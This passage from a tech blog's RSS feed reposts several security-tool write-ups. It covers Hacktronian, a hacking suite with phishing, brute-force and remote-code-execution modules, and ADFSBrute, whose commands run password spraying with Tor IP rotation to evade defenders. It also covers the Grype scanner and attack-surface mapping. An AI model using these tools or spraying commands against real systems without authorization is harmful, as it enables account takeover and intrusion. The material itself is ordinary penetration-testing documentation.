<p>Hackronian contains a diverse range of tools which allow the user to gain information, attack targets, perform sniffing and snooping on targets and perform post exploitation operations on the target. This main benefit of this suite is that all these different tools are available in one place and the user can experiment with different tools within the same terminal. The secondary benefit of this tool is that it can be installed on Android with all the same features.</p>
<h3 class="accent-green">Features:</h3>
<ul>
<li>Contains more than 50 different tools</li>
<li>Modules range from information gathering to post exploitation</li>
<li>Available for both Android and Linux</li>
<li>Perfect for creating a penetration testing workflow</li>
</ul>
<h2>HACKTRONIAN Menu :</h2>
<ul>
<li>Information Gathering</li>
<li>Password Attacks</li>
<li>Wireless Testing</li>
<li>Exploitation Tools</li>
<li>Sniffing &amp; Spoofing</li>
<li>Web Hacking</li>
<li>Private Web Hacking</li>
<li>Post Exploitation</li>
<li>Install The HACKTRONIAN</li>
</ul>
<h3>Information Gathering:</h3>
<ul>
<li>Nmap</li>
<li>Setoolkit</li>
<li>Port Scanning</li>
<li>Host To IP</li>
<li>wordpress user</li>
<li>CMS scanner</li>
<li>XSStrike</li>
<li>Dork &#8211; Google Dorks Passive Vulnerability Auditor</li>
<li>Scan A server&#8217;s Users</li>
<li>Crips</li>
</ul>
<h3>Password Attacks:</h3>
<ul>
<li>Cupp</li>
<li>Ncrack</li>
</ul>
<h3></h3>
<h3>Wireless Testing:</h3>
<ul>
<li>reaver</li>
<li>pixiewps</li>
<li>Fluxion</li>
</ul>
<h3>Exploitation Tools:</h3>
<ul>
<li>ATSCAN</li>
<li>sqlmap</li>
<li>Shellnoob</li>
<li>commix</li>
<li>FTP Auto Bypass</li>
<li>jboss-autopwn</li>
</ul>
<h3>Sniffing &amp; Spoofing:</h3>
<ul>
<li>Setoolkit</li>
<li>SSLtrip</li>
<li>pyPISHER</li>
<li>SMTP Mailer</li>
</ul>
<h3>Web Hacking:</h3>
<ul>
<li>Drupal Hacking</li>
<li>Inurlbr</li>
<li>WordPress &amp; Joomla Scanner</li>
<li>Gravity Form Scanner</li>
<li>File Upload Checker</li>
<li>WordPress Exploit Scanner</li>
<li>WordPress Plugins Scanner</li>
<li>Shell and Directory Finder</li>
<li>Joomla! 1.5 &#8211; 3.4.5 remote code execution</li>
<li>Vbulletin 5.X remote code execution</li>
<li>BruteX &#8211; Automatically brute force all services running on a target</li>
<li>Arachni &#8211; Web Application Security Scanner Framework</li>
</ul>
<h3>Private Web Hacking:</h3>
<ul>
<li>Get all websites</li>
<li>Get joomla websites</li>
<li>Get wordpress websites</li>
<li>Control Panel Finder</li>
<li>Zip Files Finder</li>
<li>Upload File Finder</li>
<li>Get server users</li>
<li>SQli Scanner</li>
<li>Ports Scan (range of ports)</li>
<li>ports Scan (common ports)</li>
<li>Get server Info</li>
<li>Bypass Cloudflare</li>
</ul>
<h3>Post Exploitation:</h3>
<ul>
<li>Shell Checker</li>
<li>POET</li>
<li>Weeman</li>
</ul>
<h3 class="accent-green">Supported Platforms:</h3>
<ul>
<li>Linux</li>
<li>Android (Termux)</li>
</ul>
<h2>Installation in Linux :</h2>
<p>This Tool Must Run As ROOT !!!</p>
<p><code>git clone https://github.com/thehackingsage/hacktronian.git</code></p>
<p><code>cd hacktronian</code></p>
<p><code>chmod +x install.sh</code></p>
<p><code>./install.sh</code></p>
<p>That&#8217;s it.. you can execute tool by typing <strong>hacktronian</strong></p>
<h2>Installation in Android :</h2>
<p>Open <a href="https://play.google.com/store/apps/details?id=com.termux" rel="nofollow">Termux</a></p>
<p><code>pkg install git</code></p>
<p><code>pkg install python</code></p>
<p><code>git clone https://github.com/thehackingsage/hacktronian.git</code></p>
<p><code>cd hacktronian</code></p>
<p><code>chmod +x hacktronian.py</code></p>
<p><code>python2 hacktronian.py</code></p>
<h2>Video Tutorial :</h2>
<p>YouTube : <a href="https://www.youtube.com/watch?v=1LJlyQAQby4" rel="nofollow">https://www.youtube.com/watch?v=1LJlyQAQby4</a></p>
<h2>Hacktronian Usage</h2>
<p>To execute Hacktronian, run:</p>
<pre class="wp-block-preformatted">$ hacktronian</pre>
<pre class="wp-block-preformatted"> _   _    _    ____ _  _______ ____   ___  _   _ ___    _    _   _ 
| | | |  / \  / ___| |/ /_   _|  _ \ / _ \| \ | |_ _|  / \  | \ | |
| |_| | / _ \| |   | ' /  | | | |_) | | | |  \| || |  / _ \ |  \| |
|  _  |/ ___ \ |___| . \  | | |  _ &lt;| |_| | |\  || | / ___ \| |\  |
|_| |_/_/   \_\____|_|\_\ |_| |_| \_\_ __/|_| \_|___/_/   \_\_| \_|
 
[!] This Tool Must Run As ROOT [!] https://linktr.ee/thehackingsage
 
   {1}--Information Gathering
   {2}--Password Attacks
   {3}--Wireless Testing
   {4}--Exploitation Tools
   {5}--Sniffing &amp; Spoofing
   {6}--Web Hacking
   {7}--Private Web Hacking
   {8}--Post Exploitation
   {0}--Install The HACKTRONIAN
   {99}-Exit
 
hacktronian~#</pre>
<p><strong>Download</strong>: <a href="https://github.com/thehackingsage/hacktronian">https://github.com/thehackingsage/hacktronian</a></p>
<div class="row justify-content-center mb-3">
<div class="col-lg-4"></div>
</div>
<p>The post <a href="http://kostacipo.stream/hacktronian-all-in-one-hacking-tool-for-linux/">Hacktronian: All in One Hacking Tool for Linux</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
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		<item>
		<title>Grype – Vulnerability Scanner For Container Images &#038; Filesystems</title>
		<link>http://kostacipo.stream/grype-vulnerability-scanner-for-container-images-filesystems/</link>
					<comments>http://kostacipo.stream/grype-vulnerability-scanner-for-container-images-filesystems/#respond</comments>
		
		<dc:creator><![CDATA[Majordomo]]></dc:creator>
		<pubDate>Sat, 08 May 2021 23:48:31 +0000</pubDate>
				<category><![CDATA[DevOps]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[Vulnerability Analysis]]></category>
		<category><![CDATA[containers]]></category>
		<category><![CDATA[vulnerability analysis]]></category>
		<category><![CDATA[vulnerability scanning]]></category>
		<guid isPermaLink="false">https://kostacipo.stream/?p=2092</guid>

					<description><![CDATA[<p>Grype is a vulnerability scanner for container images and filesystems with an easy to install binary that supports the packages for most major *nix based operating systems. Features of Grype Vulnerability Scanner For Container Images &#38; Filesystems Scan the contents of a container image or filesystem to find known vulnerabilities and find vulnerabilities for major [&#8230;]</p>
<p>The post <a href="http://kostacipo.stream/grype-vulnerability-scanner-for-container-images-filesystems/">Grype – Vulnerability Scanner For Container Images &#038; Filesystems</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></description>
										<content:encoded><![CDATA[<h4>Grype is a vulnerability scanner for container images and filesystems with an easy to install binary that supports the packages for most major *nix based operating systems.</h4>
<p><img loading="lazy" decoding="async" class="size-medium wp-image-5546 alignnone" src="https://cdn.darknet.org.uk/wp-content/uploads/2021/04/Grype-Vulnerability-Scanner-For-Container-Images-Filesystems-640x296.png" sizes="auto, (max-width: 640px) 100vw, 640px" srcset="https://cdn.darknet.org.uk/wp-content/uploads/2021/04/Grype-Vulnerability-Scanner-For-Container-Images-Filesystems-640x296.png 640w, https://cdn.darknet.org.uk/wp-content/uploads/2021/04/Grype-Vulnerability-Scanner-For-Container-Images-Filesystems-1024x474.png 1024w, https://cdn.darknet.org.uk/wp-content/uploads/2021/04/Grype-Vulnerability-Scanner-For-Container-Images-Filesystems.png 1285w" alt="Grype - Vulnerability Scanner For Container Images &amp; Filesystems" width="640" height="296" /></p>
<h2>Features of Grype Vulnerability Scanner For Container Images &amp; Filesystems</h2>
<p>Scan the contents of a container image or filesystem to find known vulnerabilities and find vulnerabilities for major operating system packages in:</p>
<ul>
<li>Alpine</li>
<li>BusyBox</li>
<li>CentOS / Red Hat</li>
<li>Debian</li>
<li>Ubuntu</li>
</ul>
<p>Find vulnerabilities for language-specific packages:</p>
<ul>
<li>Ruby (Bundler)</li>
<li>Java (JARs, etc)</li>
<li>JavaScript (NPM/Yarn)</li>
<li>Python (Egg/Wheel)</li>
<li>Python pip/requirements.txt/setup.py listings</li>
</ul>
<p>Grype Supports Docker and OCI image formats.</p>
<h3>Using Grype Vulnerability Scanner For Container Images &amp; Filesystems</h3>
<p>To scan for vulnerabilities in an image:</p>
<p><code>grype &lt;image&gt;</code></p>
<p>Grype can scan a variety of sources beyond those found in Docker.</p>
<div class="crayon-pre">
<div id="crayon-60971100a73d9062039687-1" class="crayon-line"><code><span class="crayon-p"># scan a container image archive (from the result of `docker image save ...`, `podman save ...`, or `skopeo copy` commands)</span></code></div>
<div id="crayon-60971100a73d9062039687-2" class="crayon-line crayon-striped-line"><code><span class="crayon-e">grype </span><span class="crayon-v">path</span><span class="crayon-o">/</span><span class="crayon-st">to</span><span class="crayon-o">/</span><span class="crayon-v">image</span><span class="crayon-sy">.</span><span class="crayon-v">tar</span></code></div>
<div id="crayon-60971100a73d9062039687-3" class="crayon-line"></div>
<div id="crayon-60971100a73d9062039687-4" class="crayon-line crayon-striped-line"><code><span class="crayon-p"># scan a directory</span></code></div>
<div id="crayon-60971100a73d9062039687-5" class="crayon-line"><code><span class="crayon-e">grype </span><span class="crayon-v">dir</span><span class="crayon-o">:</span><span class="crayon-v">path</span><span class="crayon-o">/</span><span class="crayon-st">to</span><span class="crayon-o">/</span><span class="crayon-v">dir</span></code></div>
</div>
<p>The output format for Grype is configurable as well:<br />
<code><span class="crayon-v">grype</span> <span class="crayon-o">&lt;</span><span class="crayon-v">image</span><span class="crayon-o">&gt;</span> <span class="crayon-o">-</span><span class="crayon-v">o</span> <span class="crayon-o">&lt;</span><span class="crayon-v">format</span><span class="crayon-o">&gt;</span></code></p>
<p>Where the formats available are:</p>
<ul>
<li>json: Use this to get as much information out of Grype as possible!</li>
<li>cyclonedx: An XML report conforming to the CycloneDX 1.2 specification.</li>
<li>table: A columnar summary (default).</li>
</ul>
<h2>Getting started</h2>
<p><a href="https://github.com/anchore/grype#installation">Install the binary</a>, and make sure that <code>grype</code> is available in your path. To scan for vulnerabilities in an image:</p>
<pre><code>grype &lt;image&gt;
</code></pre>
<p>The above command scans for vulnerabilities that are visible in the container (i.e., the squashed representation of the image). To include software from all image layers in the vulnerability scan, regardless of its presence in the final image, provide <code>--scope all-layers</code>:</p>
<pre><code>grype &lt;image&gt; --scope all-layers
</code></pre>
<p>Grype can scan a variety of sources beyond those found in Docker.</p>
<pre><code># scan a container image archive (from the result of `docker image save ...`, `podman save ...`, or `skopeo copy` commands)
grype path/to/image.tar

# scan a directory
grype dir:path/to/dir
</code></pre>
<h3>Grype&#8217;s Database</h3>
<p>Grype pulls a database of vulnerabilities derived from the publicly available <a href="https://ancho.re/v1/service/feeds" rel="nofollow">Anchore Feed Service</a>. This database is updated at the beginning of each scan, but an update can also be triggered manually.</p>
<h2>Shell Completion</h2>
<p>Grype supplies shell completion through its CLI implementation (<a href="https://github.com/spf13/cobra/blob/master/shell_completions.md">cobra</a>). Generate the completion code for your shell by running one of the following commands:</p>
<ul>
<li><code>grype completion &lt;bash|fish&gt;</code></li>
<li><code>go run main.go completion &lt;bash|fish&gt;</code></li>
</ul>
<p>This will output a shell script to STDOUT, which can then be used as a completion script for Grype. Running one of the above commands with the <code>-h</code> or <code>--help</code> flags will provide instructions on how to do that for your chosen shell.</p>
<p>You can download Grype or read more <a href="https://github.com/anchore/grype">here</a>.</p>
<p>The post <a href="http://kostacipo.stream/grype-vulnerability-scanner-for-container-images-filesystems/">Grype – Vulnerability Scanner For Container Images &#038; Filesystems</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
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		<item>
		<title>Offensive Security Tool: ADFSBrute</title>
		<link>http://kostacipo.stream/offensive-security-tool-adfsbrute/</link>
					<comments>http://kostacipo.stream/offensive-security-tool-adfsbrute/#respond</comments>
		
		<dc:creator><![CDATA[Majordomo]]></dc:creator>
		<pubDate>Sun, 25 Apr 2021 23:05:03 +0000</pubDate>
				<category><![CDATA[Cybersecurity]]></category>
		<category><![CDATA[Hacks]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[bruteforce]]></category>
		<guid isPermaLink="false">https://kostacipo.stream/?p=2084</guid>

					<description><![CDATA[<p>Offensive Security Tool: ADFSBrute GitHub Link adfsbrute ADFSBrute by ricardojoserf, is a script to test credentials against Active Directory Federation Services (ADFS), calculating the ADFS url of an organization and allowing password spraying or bruteforce attacks. The main idea is carrying out password spraying attacks with a random and high delay between each test and [&#8230;]</p>
<p>The post <a href="http://kostacipo.stream/offensive-security-tool-adfsbrute/">Offensive Security Tool: ADFSBrute</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><strong>Offensive Security Tool: ADFSBrute</strong></p>
<p><a href="https://github.com/blackhatethicalhacking/adfsbrute">GitHub Link</a></p>
<p><strong>adfsbrute</strong></p>
<p>ADFSBrute by ricardojoserf, is a script to test credentials against Active Directory Federation Services (ADFS), calculating the ADFS url of an organization and allowing password spraying or bruteforce attacks.</p>
<p>The main idea is carrying out password spraying attacks with a random and high delay between each test and using a list of proxies or <a href="https://github.com/ricardojoserf/adfsbrute#using-tor" data-et-has-event-already="true">Tor</a> to make the detection by the Blue Team more difficult. Brute force attacks are also possible, or testing credentials with the format <em>username:password</em> (for example from <a href="https://github.com/davidtavarez/pwndb">Pwndb</a>). Tested logins will get stored in a log file to avoid testing them twice.</p>
<p><strong>Usage</strong></p>
<pre><strong><code>./adfsbrute.py -t TARGET [-u USER] [-U USER_LIST] [-p PASSWORD] [-P PASSWORD_LIST] [-UL userpassword_list]
[-m MIN_TIME] [-M MAX_TIME] [-tp TOR_PASSWORD] [-pl PROXY_LIST] [-n NUMBER_OF_REQUESTS_PER_IP]
[-s STOP_ON_SUCCESS] [-r RANDOM_COMBINATIONS] [-d DEBUG] [-l LOG_FILE]</code></strong></pre>
<p>The parameters for the attacks are:</p>
<pre><strong><code>* -t: Target domain. Example: test.com

* -u: Single username. Example: agarcia@domain.com

* -U: File with a list of usernames. Example: users.txt

* -p: Single password: Example: Company123

* -P: File with a list of passwords. Example: passwords.txt

* -UP: File with a list of credentials in the format "username:password". Example: userpass.txt

* -m : Minimum value of random seconds to wait between each test. Default: 30

* -M : Maximum value of random seconds to wait between each test. Default: 60

* -tp: Tor password (change IP addresses using Tor)

* -pl: Use a proxy list (change IP addresses using a list of proxy IPs)

* -n: Number of requests before changing IP address (used with -tp or -pl). Default: 1

* -s: Stop on success, when one correct credential is found. Default: False

* -r: Randomize the combination of users and passwords. Default: True

* -d: Show debug messages. Default: True

* -l: Log file location with already tested credentials. Default: tested.txt</code></strong></pre>
<p><strong>Examples</strong></p>
<p>Password spraying with password “Company123”, tor password is “test123” and changing the IP every 3 requests:</p>
<pre><strong><code>python3 adfsbrute.py -t company.com -U users.txt -p Company123 -tp test123 -n 3</code></strong></pre>
<p><img loading="lazy" decoding="async" class="wp-image-252386 alignnone size-full" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2021/04/image1.png" sizes="auto, (min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) 826px, 100vw" srcset="https://www.blackhatethicalhacking.com/wp-content/uploads/2021/04/image1.png 826w, https://www.blackhatethicalhacking.com/wp-content/uploads/2021/04/image1-480x456.png 480w" alt="" width="826" height="785" /></p>
<p>Password spraying with password “Company123”, tor password is “test123”, changing the IP for every request, random delay time between 10 and 20 seconds and do not randomize the order of users:</p>
<pre><strong><code>python3 adfsbrute.py -t company.com -U users.txt -p Company123 -tp test123 -m 10 -M 20 -r False</code></strong></pre>
<p><img loading="lazy" decoding="async" class="wp-image-252387 alignnone size-full" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2021/04/image2.png" sizes="auto, (min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) 826px, 100vw" srcset="https://www.blackhatethicalhacking.com/wp-content/uploads/2021/04/image2.png 826w, https://www.blackhatethicalhacking.com/wp-content/uploads/2021/04/image2-480x484.png 480w" alt="" width="826" height="833" /></p>
<p>Finding ADFS url:</p>
<pre><strong><code>python3 adfsbrute.py -t company.com</code></strong></pre>
<p><img loading="lazy" decoding="async" class="wp-image-252388 alignnone size-full" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2021/04/image3.png" sizes="auto, (min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) 829px, 100vw" srcset="https://www.blackhatethicalhacking.com/wp-content/uploads/2021/04/image3.png 829w, https://www.blackhatethicalhacking.com/wp-content/uploads/2021/04/image3-480x100.png 480w" alt="" width="829" height="173" /></p>
<p><strong>Using Tor</strong></p>
<p>To use Tor to change the IP for every request, you must hash a password:</p>
<pre><strong><code>tor --hash-password test123</code></strong></pre>
<p>In the file /etc/tor/torrc, uncomment the variable <em>ControlPort</em> and the variable <em>HashedControlPassword</em>, and in this last one add the hash:</p>
<pre><strong><code>ControlPort 9051
HashedControlPassword 16:7F314CAB402A81F860B3EE449B743AEC0DED9F27FA41831737E2F08F87</code></strong></pre>
<p>Restart the tor service and use this password as argument for the script (“-tp test123” or “–tor_password 123”)</p>
<pre><strong><code>service tor restart</code></strong></pre>
<p><strong>Note</strong></p>
<p>This script is implemented to test in security audits, DO NOT use without proper authorization from the company owning the ADFS or you will block accounts.</p>
<p>The post <a href="http://kostacipo.stream/offensive-security-tool-adfsbrute/">Offensive Security Tool: ADFSBrute</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
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			</item>
		<item>
		<title>The Attack Surface Mapping guide for Ethical Hackers</title>
		<link>http://kostacipo.stream/the-attack-surface-mapping-guide-for-ethical-hackers/</link>
					<comments>http://kostacipo.stream/the-attack-surface-mapping-guide-for-ethical-hackers/#respond</comments>
		
		<dc:creator><![CDATA[Majordomo]]></dc:creator>
		<pubDate>Thu, 22 Apr 2021 21:28:38 +0000</pubDate>
				<category><![CDATA[Cybersecurity]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[Vulnerability Analysis]]></category>
		<category><![CDATA[Attack Surface Mapping]]></category>
		<guid isPermaLink="false">https://kostacipo.stream/?p=2074</guid>

					<description><![CDATA[<p>An attack surface aims to figure out which areas of a system must be examined and analyzed for security loopholes in order to mitigate the threat. Mapping the system’s attack surface is a practice that enables you to think about most of your assets and their value. DNS Lookup, WHOIS Lookup, etc., techniques help to [&#8230;]</p>
<p>The post <a href="http://kostacipo.stream/the-attack-surface-mapping-guide-for-ethical-hackers/">The Attack Surface Mapping guide for Ethical Hackers</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></description>
										<content:encoded><![CDATA[<h5>An attack surface aims to figure out which areas of a system must be examined and analyzed for security loopholes in order to mitigate the threat.</h5>
<p>Mapping the system’s attack surface is a practice that enables you to think about most of your assets and their value. DNS Lookup, WHOIS Lookup, etc., techniques help to map the attack surface.</p>
<p>Let’s get going to have a proper understanding of Attack Surface Mapping.</p>
<h2><strong>What is an Attack Surface?</strong></h2>
<p>The Attack Surface is a term that defines all the various points where an intruder might gain access to a system and access information.</p>
<p>These flaws are usually associated with a system’s privacy issues. A simple security measure is to make the attack surface as minimal as practicable.</p>
<h2><span id="What_About_the_Attack_Surface_Types" class="ez-toc-section"></span><strong>What About the Attack Surface Types?</strong></h2>
<p>There are two kinds of attack surfaces: <strong>the digital and the physical attack surface.</strong></p>
<p>Since these dual attack surfaces intersect and are linked, it is critical to protect them together<strong>. </strong>Web services, networks, networking protocols, and domain names are all part of the digital attack surface. The physical attack surface refers to the external threats against an organization, such as building windows, manufacturing services, or a flame.</p>
<h2><span id="Visualize_an_Attack_Surface" class="ez-toc-section"></span><strong>Visualize an Attack Surface</strong></h2>
<p>As per <a href="https://f6ce14d4647f05e937f4-4d6abce208e5e17c2085b466b98c2083.ssl.cf1.rackcdn.com/attack-your-attack-surface-reduce-cyberattacks-attack-surface-visualization-pdf-1-w-2753.pdf" target="_blank" rel="noopener noreferrer">Skybox Security’s white paper</a>, there are three measures to grasp and visualize an attack surface.</p>
<ol>
<li>To envision a company’s infrastructure by mapping out all the systems, routes, and channels.</li>
<li>To compare each indication of a weakness that reveals to its last step’s visualized chart.</li>
<li>Look for compromise measures. It is a sign that a threat is already accomplishing.</li>
</ol>
<h2></h2>
<h2><span id="How_Can_You_Assess_Your_Attack_Surface" class="ez-toc-section"></span><strong>How Can You Assess Your Attack Surface?</strong></h2>
<p>Identifying your information system’s attack surface is a challenge that allows you to consider most of your resources and the importance they have. To build a global map, you will need to do the following:</p>
<ul>
<li>List down
<ul>
<li>DNS records, sub-domains, etc.</li>
<li>External and known servers like FTP, SSH, etc.</li>
<li>Different software as well as their variants.</li>
</ul>
</li>
<li>Take account of physical access to the corporation’s properties (structures, system robbery, manufacturing facility, etc.).</li>
<li>Look for more networks and servers to exploit after identifying all hosts of an organization.</li>
<li>Consider a standard web server; the open ports themselves (HTTP, RDP, etc.) are all sources of threat. It is crucial to map out the virtual clients operating on the server; web apps running on any of them are also an attack vector.</li>
<li>Most domains have a DNS server, SMTP server, etc. While evaluating the attack surface, these would be the first reference point. Using <a href="https://dns.google.com/" target="_blank" rel="noopener noreferrer">DNS lookup</a> and WHOIS, map out where the A records, MX records, and DNS records services get housed.</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-8364 size-full td-animation-stack-type0-2" src="https://www.ehacking.net/wp-content/uploads/2021/04/How-Can-You-Assess-Your-Attack-Surface.jpg" sizes="auto, (max-width: 1280px) 100vw, 1280px" srcset="https://www.ehacking.net/wp-content/uploads/2021/04/How-Can-You-Assess-Your-Attack-Surface.jpg 1280w, https://www.ehacking.net/wp-content/uploads/2021/04/How-Can-You-Assess-Your-Attack-Surface-300x163.jpg 300w, https://www.ehacking.net/wp-content/uploads/2021/04/How-Can-You-Assess-Your-Attack-Surface-1024x555.jpg 1024w, https://www.ehacking.net/wp-content/uploads/2021/04/How-Can-You-Assess-Your-Attack-Surface-768x416.jpg 768w, https://www.ehacking.net/wp-content/uploads/2021/04/How-Can-You-Assess-Your-Attack-Surface-696x377.jpg 696w, https://www.ehacking.net/wp-content/uploads/2021/04/How-Can-You-Assess-Your-Attack-Surface-1068x580.jpg 1068w, https://www.ehacking.net/wp-content/uploads/2021/04/How-Can-You-Assess-Your-Attack-Surface-775x420.jpg 775w" alt="How Can You Assess Your Attack Surface" width="1280" height="694" /></p>
<h2><span id="Examples" class="ez-toc-section"></span><strong>Examples</strong></h2>
<h3><span id="DNS_Lookup" class="ez-toc-section"></span><strong>DNS Lookup</strong></h3>
<p>To locate the IP address of a specific domain name, use a DNS lookup method. The IP addresses in the DNS records obtained from name servers include in the outcome. Two categories to DNS lookups:</p>
<ul>
<li><strong><em>Forward DNS lookup.</em></strong></li>
</ul>
<p>The Forward DNS lookup or basic DNS lookup is a widely use DNS method. Discovering a domain’s IP address is the forward method to DNS.</p>
<p><img loading="lazy" decoding="async" class="alignnone wp-image-8375 size-full td-animation-stack-type0-2" src="https://www.ehacking.net/wp-content/uploads/2021/04/Picture1.png" sizes="auto, (max-width: 1056px) 100vw, 1056px" srcset="https://www.ehacking.net/wp-content/uploads/2021/04/Picture1.png 1056w, https://www.ehacking.net/wp-content/uploads/2021/04/Picture1-300x156.png 300w, https://www.ehacking.net/wp-content/uploads/2021/04/Picture1-1024x533.png 1024w, https://www.ehacking.net/wp-content/uploads/2021/04/Picture1-768x400.png 768w, https://www.ehacking.net/wp-content/uploads/2021/04/Picture1-696x363.png 696w, https://www.ehacking.net/wp-content/uploads/2021/04/Picture1-806x420.png 806w" alt="" width="1056" height="550" /></p>
<ul>
<li><strong><em>Reverse DNS lookup.</em></strong></li>
</ul>
<p>The procedure is similar in a reverse DNS lookup, only that it begins via an IP address and ends with the domain name.</p>
<p><img loading="lazy" decoding="async" class="alignnone wp-image-8376 size-full td-animation-stack-type0-2" src="https://www.ehacking.net/wp-content/uploads/2021/04/Picture2.png" sizes="auto, (max-width: 1051px) 100vw, 1051px" srcset="https://www.ehacking.net/wp-content/uploads/2021/04/Picture2.png 1051w, https://www.ehacking.net/wp-content/uploads/2021/04/Picture2-300x148.png 300w, https://www.ehacking.net/wp-content/uploads/2021/04/Picture2-1024x506.png 1024w, https://www.ehacking.net/wp-content/uploads/2021/04/Picture2-768x379.png 768w, https://www.ehacking.net/wp-content/uploads/2021/04/Picture2-696x344.png 696w, https://www.ehacking.net/wp-content/uploads/2021/04/Picture2-851x420.png 851w, https://www.ehacking.net/wp-content/uploads/2021/04/Picture2-324x160.png 324w" alt="" width="1051" height="519" /></p>
<h3><span id="IP_Netblocks" class="ez-toc-section"></span><strong>IP Netblocks</strong></h3>
<p>IP netblocks are sets of IP addresses that belong to a specific server. Regional Internet Registry (RIRs) allocate IP blocks to netblock users who are usually ISPs and big firms with many IP addresses.</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-8377 alignnone td-animation-stack-type0-2" src="https://www.ehacking.net/wp-content/uploads/2021/04/Picture3.png" sizes="auto, (max-width: 1037px) 100vw, 1037px" srcset="https://www.ehacking.net/wp-content/uploads/2021/04/Picture3.png 1037w, https://www.ehacking.net/wp-content/uploads/2021/04/Picture3-300x154.png 300w, https://www.ehacking.net/wp-content/uploads/2021/04/Picture3-1024x527.png 1024w, https://www.ehacking.net/wp-content/uploads/2021/04/Picture3-768x395.png 768w, https://www.ehacking.net/wp-content/uploads/2021/04/Picture3-696x358.png 696w, https://www.ehacking.net/wp-content/uploads/2021/04/Picture3-816x420.png 816w" alt="" width="1037" height="534" /> <img loading="lazy" decoding="async" class="size-full wp-image-8378 alignnone td-animation-stack-type0-2" src="https://www.ehacking.net/wp-content/uploads/2021/04/Picture4.png" sizes="auto, (max-width: 1018px) 100vw, 1018px" srcset="https://www.ehacking.net/wp-content/uploads/2021/04/Picture4.png 1018w, https://www.ehacking.net/wp-content/uploads/2021/04/Picture4-300x157.png 300w, https://www.ehacking.net/wp-content/uploads/2021/04/Picture4-768x401.png 768w, https://www.ehacking.net/wp-content/uploads/2021/04/Picture4-696x364.png 696w, https://www.ehacking.net/wp-content/uploads/2021/04/Picture4-804x420.png 804w" alt="" width="1018" height="532" /></p>
<h3><span id="WHOIS_Lookup" class="ez-toc-section"></span><strong>WHOIS Lookup</strong></h3>
<p>Whois is a popular Internet database. It outlines who possesses a domain name, IP address, etc. Whois databases are valuable and have become an indispensable tool for ensuring the legality of the domain name registry and website management procedures. A Whois database includes all the contact details for the user, community, or organization that owns a domain name.</p>
<h2><span id="Mitigate_Attack_Surface" class="ez-toc-section"></span><strong><img loading="lazy" decoding="async" class="size-full wp-image-8379 alignnone td-animation-stack-type0-2" src="https://www.ehacking.net/wp-content/uploads/2021/04/Picture5.png" sizes="auto, (max-width: 869px) 100vw, 869px" srcset="https://www.ehacking.net/wp-content/uploads/2021/04/Picture5.png 869w, https://www.ehacking.net/wp-content/uploads/2021/04/Picture5-300x214.png 300w, https://www.ehacking.net/wp-content/uploads/2021/04/Picture5-768x548.png 768w, https://www.ehacking.net/wp-content/uploads/2021/04/Picture5-696x497.png 696w, https://www.ehacking.net/wp-content/uploads/2021/04/Picture5-589x420.png 589w, https://www.ehacking.net/wp-content/uploads/2021/04/Picture5-100x70.png 100w" alt="" width="869" height="620" /><img loading="lazy" decoding="async" class="size-full wp-image-8380 alignnone td-animation-stack-type0-2" src="https://www.ehacking.net/wp-content/uploads/2021/04/Picture6.png" sizes="auto, (max-width: 873px) 100vw, 873px" srcset="https://www.ehacking.net/wp-content/uploads/2021/04/Picture6.png 873w, https://www.ehacking.net/wp-content/uploads/2021/04/Picture6-300x210.png 300w, https://www.ehacking.net/wp-content/uploads/2021/04/Picture6-768x538.png 768w, https://www.ehacking.net/wp-content/uploads/2021/04/Picture6-696x487.png 696w, https://www.ehacking.net/wp-content/uploads/2021/04/Picture6-600x420.png 600w, https://www.ehacking.net/wp-content/uploads/2021/04/Picture6-100x70.png 100w" alt="" width="873" height="611" /></strong></h2>
<h2><strong>Mitigate Attack Surface?</strong></h2>
<p>Monitor the attack surface and determine the threats involved with it until you know what it is. Once the attack surface is crucial, the inventory also aids in the prioritization of the components to secure. Identifying the attack surface helps in reducing it and implement appropriate defenses. With fewer potential attack sources, defense measures get focus, resulting in increased security. A few recommendations are:</p>
<ul>
<li>Delete unnecessary files and documents.</li>
<li>Monitor network devices and logs.</li>
<li>Segment the networks.</li>
<li>Strong passwords.</li>
<li>Monthly awareness training for employees.</li>
<li>Monitor zero-day vulnerabilities.</li>
<li>Apply patches on vulnerable systems.</li>
<li>Use Honeypots.</li>
</ul>
<p>The post <a href="http://kostacipo.stream/the-attack-surface-mapping-guide-for-ethical-hackers/">The Attack Surface Mapping guide for Ethical Hackers</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
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		<title>Linux Security Auditing With Lynis</title>
		<link>http://kostacipo.stream/linux-security-auditing-with-lynis/</link>
					<comments>http://kostacipo.stream/linux-security-auditing-with-lynis/#respond</comments>
		
		<dc:creator><![CDATA[Majordomo]]></dc:creator>
		<pubDate>Mon, 22 Mar 2021 13:35:37 +0000</pubDate>
				<category><![CDATA[Cybersecurity]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[auditing]]></category>
		<category><![CDATA[linux]]></category>
		<guid isPermaLink="false">https://kostacipo.stream/?p=2069</guid>

					<description><![CDATA[<p>Installing Lynis Lynis is an extensible security audit tool for computer systems running Linux, FreeBSD, macOS, OpenBSD, Solaris, and other Unix derivatives. It assists system administrators and security professionals with scanning a system and its security defenses, with the final goal being system hardening. Lynis is available as a package for most Linux distributions, we [&#8230;]</p>
